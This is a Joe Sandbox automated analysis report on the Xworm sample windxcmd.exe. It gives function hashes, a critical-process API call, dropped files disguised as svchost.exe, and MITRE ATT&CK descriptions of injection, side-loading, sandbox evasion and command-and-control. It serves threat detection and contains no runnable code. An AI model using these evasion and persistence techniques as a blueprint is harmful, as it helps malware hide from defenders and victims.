Instruction Fuzzy Hash: 0E61F730A0CA5C8FDB18DB6CD859AF9BBE1EF55311F04426FD049C3692CB74A805CB81

Function 00007FFD9B608791 Relevance: 1.6, APIs: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlSetProcessIsCritical.NTDLL ref: 00007FFD9B608862

Memory Dump Source

Source File: 00000001.00000002.4319930887.00007FFD9B600000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b600000_svchost.jbxd

Similarity

API ID: CriticalProcess
String ID:
API String ID: 2695349919-0
Opcode ID: 47dc498e9a4b01401f4c7c111799f8b27b0ca2cb35847dd185a46f598d65a314
Instruction ID: 7595279675a9986cfd47cbb4463d916a69f8206ee7a5d13cd062c590fc486995
Opcode Fuzzy Hash: 47dc498e9a4b01401f4c7c111799f8b27b0ca2cb35847dd185a46f598d65a314
Instruction Fuzzy Hash: 3441233190C6588FDB29DB989855AF97BF0EF56311F04416EE09AC3692CB74A842CB91

Analysis Process: wind.exePID: 7480, Parent PID: 7404COMMON

Executed Functions

Function 00007FFD9B631228 Relevance: 1.7, Strings: 1, Instructions: 455COMMON

Download Yara Rule

Strings

(M_H, xrefs: 00007FFD9B63145F

Memory Dump Source

Source File: 00000002.00000002.4330079382.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b630000_wind.jbxd

Similarity

API ID:
String ID: (M_H
API String ID: 0-2040843879
Opcode ID: ef7730bb17c8b0f9d463f70208806f19b372977f9d6d8c9b04e9c8bd1d08d28f
Instruction ID: d2bb8f33b1573b795d53f6eac5073784016979b0a5340a536671f01ee19ef8a1
Opcode Fuzzy Hash: ef7730bb17c8b0f9d463f70208806f19b372977f9d6d8c9b04e9c8bd1d08d28f
Instruction Fuzzy Hash: B2E1CF70709A488FE399EB3884A57A977D2FF98301F5540BAD45ECB2A6CE34F942C700

Function 00007FFD9B6308CD Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

YQ^, xrefs: 00007FFD9B6309E4

Memory Dump Source

Source File: 00000002.00000002.4330079382.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b630000_wind.jbxd

Similarity

API ID:
String ID: YQ^
API String ID: 0-3234958509
Opcode ID: 32a1a83725f0e848621748f981c702486443bde1dc2a267d9e08b98ae62e3cfd
Instruction ID: b22b91b0b07165f4f0e987c5f229b84138138918b6c068f51cfa3f5d17a84c08
Opcode Fuzzy Hash: 32a1a83725f0e848621748f981c702486443bde1dc2a267d9e08b98ae62e3cfd
Instruction Fuzzy Hash: 02416B52F0F68A0FF7689B6858322AC7BD0EF95740B4540BBD0A8CB1E7DD14B90D8385

Function 00007FFD9B6316C3 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4330079382.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b630000_wind.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f4dd3357edbf325195f3f3357c3a62d337fd8f7acf9958f81058a0fc0b78cb
Instruction ID: d8746446eb562153b02a83ba2fd7194f3c377255755a1a8e9137e6068fecab09
Opcode Fuzzy Hash: e5f4dd3357edbf325195f3f3357c3a62d337fd8f7acf9958f81058a0fc0b78cb
Instruction Fuzzy Hash: 04510731B0EA4C8FE7A9EB288421AAD77D2FF98700F4541B9D05DCB2A6DD34F9458340

Function 00007FFD9B631543 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4330079382.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b630000_wind.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6b913d1d816992788543b450b2d5a0a62a7fc011885933dceb8f12ab9c7eada
Instruction ID: 8ef76e4ad26e30383eb80c30304dcc9007b671ba20e4b19db7cf38e6cd5da63e
Opcode Fuzzy Hash: e6b913d1d816992788543b450b2d5a0a62a7fc011885933dceb8f12ab9c7eada
Instruction Fuzzy Hash: D451BF70709A488FD799EB28C454B69B7E2FF99301F5541BAD45ECB2A6CE34E9828700

Function 00007FFD9B631D07 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4330079382.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b630000_wind.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a9a90e49a86a4c27da551b8578232096e79513b1198318cfb4c4cb76699c075
Instruction ID: 9f729760bfb6df32fd4a2b75bb69bd435ae8431766a22b7892fcbdfcc5715e10
Opcode Fuzzy Hash: 5a9a90e49a86a4c27da551b8578232096e79513b1198318cfb4c4cb76699c075
Instruction Fuzzy Hash: F5317166F2F20A07E73C99885C631B87381EB86711F55063DD9EA4A3DAEE0C761B41C7

Function 00007FFD9B631173 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4330079382.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b630000_wind.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b74764dbf78668bb31da1ed3f6bb348973650b0776b42b5ab484a55070c0eb1
Instruction ID: ebd59af267b8ad4300cf40ab7933005d6214854e97f2ab8a4c3d64a525c30de3
Opcode Fuzzy Hash: 1b74764dbf78668bb31da1ed3f6bb348973650b0776b42b5ab484a55070c0eb1
Instruction Fuzzy Hash: B6213DA3F0FA8B1FE76596B808795B12BA1EF6139070A01B7D469DF1E7DD147C058350

Function 00007FFD9B6307B5 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4330079382.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b630000_wind.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccd13e21ea48d10fcd82c31bf82d3bfafda1210fd7edb2e265cfc8ec5b5b07e9
Instruction ID: c0b0530977c4e31ebbb8bfee3bd4b3558ed0f68c3a7fc6522828b63d0fd4b0e6
Opcode Fuzzy Hash: ccd13e21ea48d10fcd82c31bf82d3bfafda1210fd7edb2e265cfc8ec5b5b07e9
Instruction Fuzzy Hash: 5E21DB52B0EBC64BF76622B818762A87FA0DF53654B0E01F7C5E98D0D7DC1D694A8341

Function 00007FFD9B630935 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4330079382.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b630000_wind.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6015efb62b3c5ad6075e82470966233dda4c08a97f315182a27b0bce562d0afa
Instruction ID: 6ad87fece95ca84999b67ca674ac0722635d080d55bff75a7d365e4c00e715da
Opcode Fuzzy Hash: 6015efb62b3c5ad6075e82470966233dda4c08a97f315182a27b0bce562d0afa
Instruction Fuzzy Hash: 84E09211F1E90E0AF679E15C68633FD62C2DBC8610F510679D89EC6299EC187A8B42C2

Function 00007FFD9B630888 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4330079382.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b630000_wind.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 574dda8dcdce1b75f66b67611c25600ba630913d42fd5b2e532bd866ff531d5e
Instruction ID: 9a8fb739fb8322a2e11ad0cea7e047c5f5d4b86879f3b0e53fd67244c498b149
Opcode Fuzzy Hash: 574dda8dcdce1b75f66b67611c25600ba630913d42fd5b2e532bd866ff531d5e
Instruction Fuzzy Hash: E5E0DF12F0984A06FBAC726C20A33FC2282DF94760F441177E52EC91DAED0D39820284

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report windxcmd.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\windxcmd.exe.log

C:\Users\user\AppData\Roaming\svchost.exe

C:\Users\user\AppData\Roaming\wind.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
windxcmd.exe

Function 00007FFD9B60C794 Relevance: 2.4, Strings: 1, Instructions: 1101
COMMON

Function 00007FFD9B606D21 Relevance: 1.9, APIs: 1, Instructions: 384
COMMON

Function 00007FFD9B605776 Relevance: .5, Instructions: 472
COMMON

Function 00007FFD9B606522 Relevance: .5, Instructions: 458
COMMON

Function 00007FFD9B608958 Relevance: 1.8, APIs: 1, Instructions: 267
COMMON

Function 00007FFD9B6089AD Relevance: 1.8, APIs: 1, Instructions: 251
COMMON

Function 00007FFD9B608791 Relevance: 1.6, APIs: 1, Instructions: 145
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre